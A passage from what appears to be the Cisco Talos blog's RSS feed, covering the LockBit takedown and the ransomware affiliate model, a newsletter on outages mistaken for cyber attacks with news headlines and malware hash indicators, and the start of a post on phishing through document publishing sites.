where affiliates tend to move from ransomware&#xA0;group&#xA0;to ransomware&#xA0;group, following the money,&#xA0;bringing their skills&#xA0;and tools&#xA0;with them to conduct new attacks.</p><p>In this blog, we&#x2019;ll explore the recent law enforcement&#xA0;<a href="https://www.justice.gov/opa/pr/us-and-uk-disrupt-lockbit-ransomware-variant">takedown of LockBit</a>, a group who previously held the title of the number one most deployed ransomware variant for two years running. Just seven days after the takedown, LockBit claimed to resume their operations. </p><h3 id="the-history-of-lockbit">The History of LockBit</h3><p>LockBit emerged around 2019. Since then, it has continually evolved and innovated to update their ransomware and build their RaaS program. </p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/lockbit_takedown_timeline-2.jpg" class="kg-image" alt="The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions" loading="lazy" width="1876" height="1596" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/03/lockbit_takedown_timeline-2.jpg 600w, https://blog.talosintelligence.com/content/images/size/w1000/2024/03/lockbit_takedown_timeline-2.jpg 1000w, https://blog.talosintelligence.com/content/images/size/w1600/2024/03/lockbit_takedown_timeline-2.jpg 1600w, https://blog.talosintelligence.com/content/images/2024/03/lockbit_takedown_timeline-2.jpg 1876w" sizes="(min-width: 720px) 720px"></figure><p>&#xA0;</p><p>For the past two years, LockBit ransomware operations accounted for&#xA0;<a href="https://blog.talosintelligence.com/2023-year-in-review/"><u>over 25 percent</u></a>&#xA0;of the total number of posts made to data leak sites. CISA&#x2019;s&#xA0;assessment&#xA0;is also that LockBit has been the most deployed ransomware variant in recent years.</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/lockbit_takedown_lockbit_activity.jpg" class="kg-image" alt="The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions" loading="lazy" width="1876" height="950" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/03/lockbit_takedown_lockbit_activity.jpg 600w, https://blog.talosintelligence.com/content/images/size/w1000/2024/03/lockbit_takedown_lockbit_activity.jpg 1000w, https://blog.talosintelligence.com/content/images/size/w1600/2024/03/lockbit_takedown_lockbit_activity.jpg 1600w, https://blog.talosintelligence.com/content/images/2024/03/lockbit_takedown_lockbit_activity.jpg 1876w" sizes="(min-width: 720px) 720px"></figure><p>As we wrote in the 2023&#xA0;<a href="https://blog.talosintelligence.com/cisco-talos-2023-year-in-review/"><u>Talos Year in Review report</u></a>, posts made to the group&#x2019;s data leak site ebbed and flowed from September 2022 to August 2023. Detections of LockBit activity appear to spike in March, partially coinciding with LockBit&#x2019;s deployment against vulnerable instances of the printer management software PaperCut, where it has remained consistently high<strong>.</strong></p><div class="kg-card kg-callout-card kg-callout-card-red"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text">In 2020, Talos researchers made contact with a self-described LockBit operator. Over several weeks, we conducted multiple interviews that gave us a rare, first-hand account of a ransomware operator&#x2019;s cybercriminal activities. Confirmed theories included LockBit having a profit-sharing requirement that the affiliate has to meet for the first four or five ransoms. This also used to be the case for Maze. Also, keeping your word to&#xA0;the victim is an important&#xA0;part of LockBit&#x2019;s business model. Read the interview in full&#xA0;<a href="https://blog.talosintelligence.com/interview-with-lockbit-ransomware/"><i><em class="italic" style="white-space: pre-wrap;">here</em></i></a>.</div></div><h3 id="the-collaboration-trend">The Collaboration Trend</h3><p>For the past two years, Talos researchers have written about a growing ransomware trend, wherein actors are increasingly collaborating with each other and sharing tools and infrastructure (aka the affiliate model). </p><p>For example, Talos recently&#xA0;reported&#xA0;on&#xA0;how&#xA0;the <a href="https://blog.talosintelligence.com/ghostsec-ghostlocker2-ransomware/">GhostSec and Stormous ransomware groups</a>&#xA0;are jointly conducting double extortion ransomware attacks on various business verticals in multiple countries.&#xA0;The two groups&#xA0;have started a <a href="https://talostakes.talosintelligence.com/2018149/14646742-what-s-new-about-ghostsec-s-ransomware-as-a-service-model">new ransomware-as-a-service (RaaS) program</a>&#xA0;STMX_GhostLocker, providing various options for their affiliates.</p><p>We are seeing more diversified groups employing multiple encryption programs, as well as less sophisticated actors &#x201C;standing on the shoulders&#x201D; of giants by using leaked ransomware code. Some players are exiting the game altogether, but not before selling their source code to the highest bidder. This is posing significant challenges to the security community, especially when it comes to attributing attacks.</p><p>In the case of LockBit, this was also a group that operated as a RaaS model. They recruited affiliates by offering them shares of profits and encouraging them to conduct ransomware attacks using LockBit&#x2019;s tools and infrastructure. These affiliates were often unconnected, and as a result, there were many variations in the attacks that used LockBit ransomware.</p><p>Notably, the LockBit ransomware group posted on a Russian-speaking dark web forum in December 2023 offering to recruit ALPHV (BlackCat) and NoEscape ransomware affiliates and any of the ALPHV developers, after the Federal Bureau of Investigation (FBI)&#x2019;s announcement of&#xA0;a&#xA0;<a href="https://www.justice.gov/opa/pr/justice-department-disrupts-prolific-alphvblackcat-ransomware-variant">disruption campaign against the ALPHV ransomware</a>&#xA0;operation.</p><h3 id="operation-cronos">Operation Cronos</h3><p>The NCA, working closely with the FBI and supported by international partners from nine other countries, covertly&#xA0;investigated LockBit as part of a dedicated taskforce called&#xA0;<a href="https://www.nationalcrimeagency.gov.uk/news/nca-leads-international-investigation-targeting-worlds-most-harmful-ransomware-group"><u>Operation Cronos</u></a>.&#xA0;</p><p>On Feb. 20, 2024, after infiltrating the group&#x2019;s network, the NCA took control of LockBit&#x2019;s primary administration environment. This environment enabled affiliates to build and carry out ransomware attacks, as well as host the group&#x2019;s public-facing leak site on the dark web, which was used to threaten the publication of data stolen from victims.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/Operation-Cronos.png" class="kg-image" alt="The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions" loading="lazy" width="1384" height="779" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/03/Operation-Cronos.png 600w, https://blog.talosintelligence.com/content/images/size/w1000/2024/03/Operation-Cronos.png 1000w, https://blog.talosintelligence.com/content/images/2024/03/Operation-Cronos.png 1384w" sizes="(min-width: 720px) 720px"></figure><p>The technical infiltration and disruption were only the beginning of a series of actions against LockBit and their affiliates. In wider actions coordinated by&#xA0;<a href="https://www.europol.europa.eu/media-press/newsroom/news/law-enforcement-disrupt-worlds-biggest-ransomware-operation"><u>Europol</u></a>, at least three LockBit affiliates were arrested in Poland and Ukraine, and more than 200 cryptocurrency accounts linked to the group have been frozen.</p><h3 id="the-return">The Return</h3><p>Seven days after the operation, messages and leak information was published on a new LockBit page. Here are screenshots of their leak site taken daily from Feb. 27 &#x2013; March 4, with a huge increase of cards on March 3.</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/lb_develop-1.gif" class="kg-image" alt="The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions" loading="lazy" width="853" height="480" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/03/lb_develop-1.gif 600w, https://blog.talosintelligence.com/content/images/2024/03/lb_develop-1.gif 853w" sizes="(min-width: 720px) 720px"></figure><p>The site lists both pre- and post-takedown victims, suggesting LockBit may not have lost access to their entire dataset or infrastructure.&#xA0;</p><p>Of particular interest is the fbi.gov card in the lower right corner that links to a lengthy writeup (in English and Russian), stating what LockBit thinks happened during the operation. They talk about lessons learned, speculations and discredit the law enforcement agencies. Talos believes the operation was carried out by the NCA, not the FBI, as LockBit stated.</p><h3 id="a-recurring-theme">A recurring theme</h3><p>While LockBit is currently dominating the headlines, we&#x2019;ve seen&#xA0;similar stories&#xA0;before following takedown attempts. For example, the commodity trojan&#xA0;Trickbot had its infrastructure dismantled in February 2022. </p><p>However, Talos telemetry picked up Trickbot activity throughout 2023, as covered in our <a href="https://blog.talosintelligence.com/cisco-talos-2023-year-in-review/" rel="noreferrer">Year in Review</a>.</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/lockbit_takedown_trickbot_activity.jpg" class="kg-image" alt="The LockBit story: Why the ransomware affiliate model can turn takedowns into disruptions" loading="lazy" width="1876" height="949" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/03/lockbit_takedown_trickbot_activity.jpg 600w, https://blog.talosintelligence.com/content/images/size/w1000/2024/03/lockbit_takedown_trickbot_activity.jpg 1000w, https://blog.talosintelligence.com/content/images/size/w1600/2024/03/lockbit_takedown_trickbot_activity.jpg 1600w, https://blog.talosintelligence.com/content/images/2024/03/lockbit_takedown_trickbot_activity.jpg 1876w" sizes="(min-width: 720px) 720px"></figure><h3 id="still-open-for-business">Still open for business</h3><p>Talos has intelligence that Lockbit is still accepting affiliates into their program.&#xA0;</p><p>Does this mean that law enforcement operations are pointless? Far from it. Takedown attempts such as Operation Cronos severely disrupt their operations, and forces ransomware operators to change their attacks.&#xA0;The operation against LockBit doesn&#x2019;t appear to have inflicted the final blow against the ransomware group, but it has wounded them.&#xA0;</p><p>We also know that law enforcement was able to obtain troves of intelligence through their operation. That intelligence will only serve to be useful in further disruptions, undermining Lockbit&apos;s growth. Therefore, if you put Lockbit into a market perspective, they appear to be quite exposed.&#xA0;</p><p>Crucially, as&#xA0;<a href="https://www.nomoreransom.org/en/decryption-tools.html#Lockbit30">with the case of LockBit</a>, decryption tools can be released so that victims of ransomware can gain access to their systems again. In January Talos obtained executable code capable of&#xA0;<a href="https://blog.talosintelligence.com/decryptor-babuk-tortilla/">decrypting files</a>&#xA0;affected by the Babuk Tortilla ransomware variant, allowing Talos to extract and share the private decryption key used by the threat actor.</p><p>Therefore, it&#x2019;s important not to view this operation as a &#x201C;one and done&#x201D; effort. Sustained, targeted approaches from law enforcement and the defender community can and do have a significant impact. For example, following the FBI&#x2019;s actions against&#xA0;BlackCat/ALPHV, the group&#xA0;reportedly denied an affiliate a $22 million ransomware payment before subsequently going out of business in early March, as&#xA0;Brian Krebs&#xA0;<a href="https://krebsonsecurity.com/2024/03/blackcat-ransomware-group-implodes-after-apparent-22m-ransom-payment-by-change-healthcare/">wrote about on his website</a>&#xA0;a&#xA0;few days ago.</p><p>Azim Khodjibaev from Talos&#x2019; threat interdiction and intelligence organization team discusses the ebs and flows of ransomware groups after a takedown in the episode of Talos Takes below. This episode was recorded in 2022 after a separate law enforcement operation to disrupt LockBit.</p>
<!--kg-card-begin: html-->
<iframe title="The latest on Lockbit 3.0 drama and the rest of the ransomware landscape" allowtransparency="true" height="150" width="100%" style="border: none; min-width: min(100%, 430px);height:150px;" scrolling="no" data-name="pb-iframe-player" src="https://www.podbean.com/player-v2/?i=fr7p6-1569de4b-dir&amp;share=1&amp;download=1&amp;fonts=Arial&amp;skin=1&amp;font-color=auto&amp;rtl=0&amp;logo_link=episode_page&amp;btn-skin=7&amp;size=150" loading="lazy"></iframe>
<!--kg-card-end: html-->
<h3 id="the-lucrative-affiliate-model">The lucrative affiliate model</h3><p>One of the&#xA0;major issues&#xA0;when tackling ransomware crime is the nature of the affiliate program, with&#xA0;actors often working for multiple RaaS outfits at a time. In underground forums, we are seeing increased advertisements by RaaS groups showcasing their affiliate programs and offering profit shares. They can offer large profits, as threat actors can conduct multiple campaigns using the encryption programs that are offered or distributed.&#xA0;</p><p>In the case of the GhostSec group, they have a business model that offers affilates three different options: a paid version, a free version and a version that allows actors who don&#x2019;t want to become a member ransomware gang but would like to publish victim data on their leak site.</p><p>We are also seeing multiple groups working together, sharing their malicious tooling with each other, then falling out, and then building trust back up with each other, adding to the difficulty in attributing attacks. Here are Talos&#x2019; Nick Biasini and Matt Olney talking about the impact of leaked ransomware code, where Matt describes the situation as &#x201C;The Real Housewives of Eastern Europe:&#x201D;</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/pjw-lr2DbLQ?start=25&amp;feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen title="2023 Year in Review: Ransomware and extortion"></iframe></figure><p>Fundamentally, ransomware continues to be hugely profitable and widespread. In the&#xA0;<a href="https://blog.talosintelligence.com/talos-ir-quarterly-report-q4-2023/"><u>last quarter</u></a>, the Talos Incident Response team&#xA0;responded to ransomware incidents&#xA0;involving Play, Cactus, BlackSuit and NoEscape ransomware for the first time, and there was a 17% rise in ransomware incidents in this quarter.</p><p>In the end, Operation Cronos may have disrupted LockBit&#x2019;s operations temporarily with valuable assets gained, a weaker market position for the group, and a few affiliates are now sitting in jail. However, the Hyrdra&#x2019;s roots run deeper, and this is why we may continue to see LockBit activity throughout the course of the year. </p><h3 id="where-to-go-from-here">Where to go from here</h3><p>Like Hercules who outwitted the Hydra with a blend of strength and strategy, our law enforcement&#x2019;s relentless efforts are essential and commendable. It&#x2019;s going to take persistent, strategic efforts to significantly damage RaaS operations and weaken the regenerative power of these gangs. Arrests at the top will be a key part of this. In the case of LockBit, it appears as though the leaders of the group have evaded arrest on this occasion. &#xA0;</p><p>At the very same time the people of Lerna (or us, the private defenders), need to pay attention to the entire threat landscape. We can&#x2019;t rely on just Hercules to take them down. Just like we can&#x2019;t be sure there is just a single Hydra.</p><p><a href="https://blog.talosintelligence.com/talos-ir-quarterly-report-q4-2023/"><u>Read more about the recent ransomware operations Talos Incident Responders engaged in</u></a><u>.</u></p>]]></content:encoded></item><item><title><![CDATA[Not everything has to be a massive, global cyber attack]]></title><description><![CDATA[There are a few reasons why we’re so ready to jump to the “it’s a cyber attack!” ]]></description><link>https://blog.talosintelligence.com/threat-source-newsletter-march-14-2024/</link><guid isPermaLink="false">65f2fde9405eeb0001947341</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[Jonathan Munshaw]]></dc:creator><pubDate>Thu, 14 Mar 2024 18:00:08 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/threat-source-newsletter-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/03/threat-source-newsletter-1.jpg" alt="Not everything has to be a massive, global cyber attack"><p>Some of my Webex rooms recently have been blowing up with memes about blaming Canada or wild speculation that a state-sponsored actor is carrying out some sort of major campaign.&#xA0;&#xA0;</p><p>After a <a href="https://www.cnn.com/2024/02/22/tech/att-cell-service-outage/index.html" rel="noreferrer noopener"><u>widespread outage of cellular service</u></a> with AT&amp;T and other carriers a few weeks ago, people were sure it was some sort of coordinated attack to disrupt Americans&#x2019; services that largely power our day-to-day lives. The outage lasted about 11 hours, and after the fact, the company announced they&#x2019;d give customers a <a href="https://www.cnn.com/2024/02/25/business/att-network-outage-reimbursement/index.html" rel="noreferrer noopener"><u>whopping $5 credit</u></a> to make up for the issue. The Federal Communications Commission also announced last week that it was <a href="https://www.washingtonpost.com/business/2024/03/07/fcc-att-outage-investigation/" rel="noreferrer noopener"><u>launching a formal investigation</u></a> into the outage, requesting more information about the exact cause and how many users were affected.&#xA0;&#xA0;</p><p>About two weeks later, the same kinds of messages and questions to our team came flooding in when <a href="https://www.theverge.com/2024/3/5/24091207/meta-outage-facebook-instagram-threads-down-signed-out" rel="noreferrer noopener"><u>Meta experienced an outage across many of its platforms</u></a>, most notably Facebook, Instagram and Threads. Though this <a href="https://www.reuters.com/technology/metas-facebook-instagram-down-thousands-downdetector-shows-2024-03-05/" rel="noreferrer noopener"><u>only lasted a few hours</u></a>, any time Americans can&#x2019;t access their Instagram feeds, it&#x2019;s going to make headlines.&#xA0;</p><p>In both cases, consumers <a href="https://www.wpbf.com/article/florida-att-outage-cyber-attack-concerns-outrage/46917374" rel="noreferrer noopener"><u>immediately wanted</u></a> to <a href="https://sfist.com/2024/03/05/meta-hit-with-possible-super-tuesday-cyber-attack-instagram-threads-facebook-all-go-down/" rel="noreferrer noopener"><u>start pointing fingers</u></a> &#x2014; Which actor was behind these? Why is there so little information about this outage? Is this China getting revenge for talk of forcing a TikTok sale? What&#x2019;s the broader conspiracy behind this? The outages also quickly opened the door for some of the <a href="https://twitter.com/Timcast/status/1765040264039874676" rel="noreferrer noopener"><u>world&#x2019;s chief spreaders of misinformation</u></a> and <a href="https://twitter.com/infowars/status/1760667854834217231" rel="noreferrer noopener"><u>fake news</u></a> to start spreading conspiracy theories.&#xA0;</p><p>The problem is, not every technical issue can or needs to be explained away by a cyber attack. That&#x2019;s not to undersell the danger that state-sponsored APTs pose currently, or the fact that they *could* one day cause a disruption like this. But jumping to that conclusion every time Down Detector pops off is only going to spread fear/FUD and help these outlets for disinformation reach a larger audience.&#xA0;&#xA0;</p><p>It creates a &#x201C;boy who cried wolf&#x201D; situation for when a major cyber attack actually does happen, and the average consumer is forced to make an immediate update to some piece of software or hardware.&#xA0;</p><p>There are a few reasons why we&#x2019;re so ready to jump to the &#x201C;it&#x2019;s a cyber attack!&#x201D; conclusion. One is that Hollywood has been &#x201C;glamorizing&#x201D; the idea of a major cyber attack or major disruption for years now. Movies and TV shows like Netflix&#x2019;s <a href="https://www.bloomberg.com/news/newsletters/2023-12-20/leave-the-world-behind-could-netflix-movie-s-cyberattack-actually-happen?embedded-checkout=true" rel="noreferrer noopener"><u>&#x201C;Leave the World Behind&#x201D;</u></a> have dramatized what a major cyber attack or internet outage may look like, and how quickly it could lead to the unraveling of civilization. Because of our current doomscrolling culture, the second something even looks like it could be a cyber event, we&#x2019;re ready to declare the end of our economy and society.&#xA0;</p><p>It&#x2019;s also sexier when it&#x2019;s a cyber attack. AT&amp;T says its outage was caused by a <a href="https://www.cnn.com/2024/02/22/tech/att-cell-service-outage/index.html" rel="noreferrer noopener"><u>technical error that occurred</u></a> when it was trying to upgrade its network&#x2019;s capacity, explicitly stating it was <a href="https://qz.com/at-t-cell-phone-outage-cyberattack-1851281231" rel="noreferrer noopener"><u>not caused by any sort of disruption campaign</u></a> or cyber attack. Meta simply chalked their outage up to a &#x201C;technical issue.&#x201D;&#xA0;&#xA0;</p><p>None of these things make for good headlines. But sometimes, the simplest explanation is the most obvious one &#x2014; we&#x2019;ve all pressed a wrong button here or there, and stuff breaks on the internet all the time for all sorts of reasons. But &#x201C;Users logged out of Instagram after Meta employee hits &#x2018;enter&#x2019; too soon&#x201D; isn&#x2019;t as eye-catching as &#x201C;Are Instagram and Facebook down because of a cyber attack?&#x201D;&#xA0;</p><p>Could these multi-billion-dollar corporations be lying? Sure, but I also find it hard enough to believe that the truth would not have made it out to consumers by now if these outages weren&#x2019;t simple technical issues, nor would AT&amp;T feel compelled to reimburse customers for something that could be totally out of their control.&#xA0;</p><p>And if you ever get logged out of Facebook or Instagram, maybe you&#x2019;re just better off being offline for a few hours anyway than immediately assuming Mahershala Ali is going to be knocking on your vacation home&#x2019;s door in any minute.&#xA0;&#xA0;&#xA0;</p><h2 id="the-one-big-thing">The one big thing&#xA0;</h2><p>We want to keep reminding users to update and upgrade their network infrastructure. Aging devices like switches and routers that are used across the globe are a consistently vulnerable surface for adversaries to gain an initial foothold onto targeted networks. Talos recently highlighted the <a href="https://blog.talosintelligence.com/the-3-most-common-post-compromise-tactics-on-network-infrastructure/" rel="noreferrer noopener"><u>three most common post-compromise attacks</u></a> that adversaries carry out after compromising these types of vulnerable devices, including modifying the device&#x2019;s firmware and downgrading the firmware to remove older patches and open the door to new exploitable vulnerabilities. Nick Biasini from Talos Outreach also spoke about this issue for <a href="https://www.networkworld.com/article/1312245/cisco-talos-3-post-compromise-tactics-that-threaten-your-network-infrastructure.html" rel="noreferrer noopener"><u>an article in NetworkWorld</u></a>.&#xA0;&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>As Hazel Burton puts it in the blog post linked above: &#x201C;Adversaries, particularly APTs, are capitalizing on this scenario to conduct hidden post-compromise activities once they have gained initial access to the network. The goal here is to give themselves a greater foothold, conceal their activities, and hunt for data and intelligence that can assist them with their espionage and/or disruptive goals. Think of it like a burglar breaking into a house via the water pipes. They&#x2019;re not using &#x201C;traditional&#x201D; methods such as breaking down doors or windows (the noisy smash-and-grab approach) &#x2014; they&#x2019;re using an unusual route, because no one ever thinks their house will be broken into via the water pipes. Their goal is to remain stealthy on the inside while they take their time to find the most valuable artefacts.&#x201D;&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>If you are using network infrastructure that is end of life, out of support, and now has vulnerabilities that cannot be patched, now really is the time to replace those devices. Using networking equipment that has been built with secure-by-design principles such as running secure boot, alongside having a robust configuration and patch management approach, is key to combatting these types of threats. Ensure that these devices are being watched very carefully for any configuration changes and patch them promptly whenever new vulnerabilities are discovered.&#xA0;&#xA0;&#xA0;</p><h1 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h1><p><strong>Security researchers have found a new vulnerability affecting chips made by nearly all major CPU makers dubbed &#x201C;GhostRace.&#x201D;</strong> The vulnerability, identified as CVE-2024-2193, requires an adversary to win a race condition and to have physical or privileged access to the targeted machine. However, it could allow a malicious user to steal potentially sensitive information from memory like passwords and encryption keys. &quot;The vulnerability affects many CPU architectures, including those made by Intel, AMD, Arm and IBM. It also affected some hypervisor vendors and the Linux operating system. AMD released an advisory this week that informed customers that they should follow previous defense guidance for other security flaws like Spectre that have affected CPUs in the past. &#x201C;Our analysis shows all the other common write-side synchronization primitives in the Linux kernel are ultimately implemented through a conditional branch and are therefore vulnerable to speculative race conditions,&#x201D; VU Amsterdam said in its blog post disclosing GhostRace. (<a href="https://www.securityweek.com/major-cpu-software-vendors-impacted-by-new-ghostrace-attack/" rel="noreferrer noopener"><u>SecurityWeek</u></a>, <a href="https://www.vusec.net/projects/ghostrace/" rel="noreferrer noopener"><u>Vrije Universiteit Amsterdam</u></a>)&#xA0;</p><p><strong>Health care providers are still reeling from a cyber attack on Change Healthcare</strong>, a subsidiary of the United HealthGroup Inc. insurance provider. First Health Advisory, a digital health risk assurance firm, recently estimated that health care providers are losing an estimated $100 million daily as they still cannot process payments from insurance providers. Change first disclosed the suspected ransomware attack in late February, and on March 5, the U.S. government announced a plan to provide relief payments for providers who are facing financial shortfalls due to the outage. Many doctors&apos; offices and care clinics are facing late rent payments and unpaid invoices. The attack has also limited some patients&#x2019; ability to obtain pre-authorization for certain services and surgeries, and others have not been able to refill their prescriptions at hospitals. U.S. Congress is also asking the CEO of United HealthGroup to appear before a committee to answer questions about the hack. (<a href="https://www.cbsnews.com/news/change-healthcare-cyberattack-losing-up-to-100m-a-day/" rel="noreferrer noopener"><u>CBS News</u></a>, <a href="https://www.bloomberg.com/news/articles/2024-03-13/change-healthcare-cyber-attack-leaves-cancer-clinics-reeling" rel="noreferrer noopener"><u>Bloomberg</u></a>)&#xA0;</p><p><strong>The U.S. has placed formal sanctions against two individuals and five entities associated with the Intellexa Consortium,</strong> responsible for developing and distributing the Predator spyware. Talos has previously reported on Intellexa&#x2019;s tools, and how their spyware is silently loaded onto targeted devices. This is the first time the Treasury Department has sanctioned a spyware organization and announced it publicly. The sanctions include five vendors who work with Intellexa to sell the spyware, all of whom are spread across Europe. Intellexa itself is based in Greece. Predator and other spyware developed by private parties are often used to target high-risk individuals to track their communication and movement, including politicians, journalists, activists and political dissidents. Under the sanctions, anyone in the U.S. is forbidden from doing business with Intellexa or the associated companies and individuals. The Biden administration has long pushed for additional action against spyware makers, including Israel-based NSO Group, which distributes the Pegasus spyware. (<a href="https://editorials.voa.gov/a/sanctioning-proliferators-of-commercial-spyware/7526054.html" rel="noreferrer noopener"><u>Voice of America</u></a>, <a href="https://www.axios.com/2024/03/05/treasury-spyware-sanctions-intellexa" rel="noreferrer noopener"><u>Axios</u></a>)&#xA0;</p><h1 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t get enough Talos?&#xA0;</h1><ul><li><a href="https://blog.talosintelligence.com/threat-actors-leveraging-document-publishing-sites/" rel="noreferrer noopener"><u>Threat actors leverage document publishing sites for ongoing credential and session token theft</u></a>&#xA0;</li><li><a href="https://blog.talosintelligence.com/researcher-spotlight-heather-couk-talos-ir/" rel="noreferrer noopener"><u>Heather Couk is here to keep your spirits up during a cyber emergency, even if it takes the &#x201C;Rocky&#x201D; music</u></a>&#xA0;</li><li><a href="https://blog.talosintelligence.com/microsoft-patch-tuesday-march-2024/" rel="noreferrer noopener"><u>Another Patch Tuesday with no zero-days, only two critical vulnerabilities disclosed by Microsoft</u></a>&#xA0;</li><li><a href="https://talostakes.talosintelligence.com/2018149/14646742-what-s-new-about-ghostsec-s-ransomware-as-a-service-model" rel="noreferrer noopener"><u>Talos Takes Ep. #175: What&apos;s new about GhostSec&apos;s ransomware-as-a-service model</u></a>&#xA0;</li></ul><h1 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h1><p>&#xA0;</p><p><a href="https://www.botconf.eu/schedule/" rel="noreferrer"><strong><u>Botconf</u></strong></a><strong> (April 23 - 26)</strong>&#xA0;</p><p><em>Nice, C&#xF4;te d&apos;Azur, France</em></p><blockquote><em>This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.</em></blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"></a></p><p><a href="https://www.caro2024.org/agenda/" rel="noreferrer"><strong><u>CARO Workshop 2024</u></strong></a><strong> (May 1 - 3)</strong>&#xA0;</p><p><em>Arlington, Virginia</em></p><blockquote>Over the past year, we&#x2019;ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra&apos;s presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.</blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"><strong><u>RSA</u></strong></a><strong> (May 6 - 9)</strong>&#xA0;</p><p><em>San Francisco, California</em>&#xA0;&#xA0;&#xA0;</p><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91/details&#xA0;" rel="noreferrer">a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</a>&#xA0;&#xA0;<br><strong>MD5:</strong> 7bdbd180c081fa63ca94f9c22c457376&#xA0;<br><strong>Typical Filename: </strong>c0dwjdi6a.dll&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name: </strong>Trojan.GenericKD.33515991&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe/details&#xA0;" rel="noreferrer">24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe</a>&#xA0;<br><strong>MD5:</strong> 49ae44d48c8ff0ee1b23a310cb2ecf5a&#xA0;<br><strong>Typical Filename:</strong> nYzVlQyRnQmDcXk&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;<br><strong>Detection Name: </strong>Win.Dropper.Scar::tpd&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3/details&#xA0;" rel="noreferrer">e38c53aedf49017c47725e4912fc7560e1c8ece2633c05057b22fd4a8ed28eb3</a>&#xA0;<br><strong>MD5:</strong> c16df0bfc6fda86dbfa8948a566d32c1&#xA0;<br><strong>Typical Filename:</strong> CEPlus.docm&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name:</strong> Doc.Downloader.Pwshell::mash.sr.sbx.vioc&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507/details&#xA0;&#xA0;" rel="noreferrer">9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</a>&#xA0;&#xA0;<br><strong>MD5:</strong> 2915b3f8b703eb744fc54c81f4a9c67f&#xA0;&#xA0;<br><strong>Typical Filename:</strong> VID001.exe&#xA0;&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name:</strong> Win.Worm.Coinminer::1201&#xA0;</p><p><strong>SHA 256: </strong><a href="https://www.virustotal.com/gui/file/e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934/details&#xA0;" rel="noreferrer">e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934</a>&#xA0;<br><strong>MD5:</strong> 93fefc3e88ffb78abb36365fa5cf857c&#xA0;<br><strong>Typical Filename:</strong> Wextract&#xA0;<br><strong>Claimed Product:</strong> Internet Explorer&#xA0;<br><strong>Detection Name: </strong>W32.File.MalParent&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[Threat actors leverage document publishing sites for ongoing credential and session token theft]]></title><description><![CDATA[Talos IR has responded to several recent incidents in which threat actors used legitimate digital document publishing sites such as Publuu and Marq to host phishing documents as part of ongoing credential and session harvesting attacks. ]]></description><link>https://blog.talosintelligence.com/threat-actors-leveraging-document-publishing-sites/</link><guid isPermaLink="false">65f09c0e405eeb0001947276</guid><category><![CDATA[Threats]]></category><category><![CDATA[On The Radar]]></category><dc:creator><![CDATA[Craig Jackson]]></dc:creator><pubDate>Wed, 13 Mar 2024 12:00:21 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/Talos_on_the_radar-1.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Cisco Talos Incident Response (Talos IR) has observed the ongoing use of legitimate digital document publishing (DDP) sites for phishing, credential theft and session token theft during recent incident response and threat intelligence engagements.</li><li>Hosting 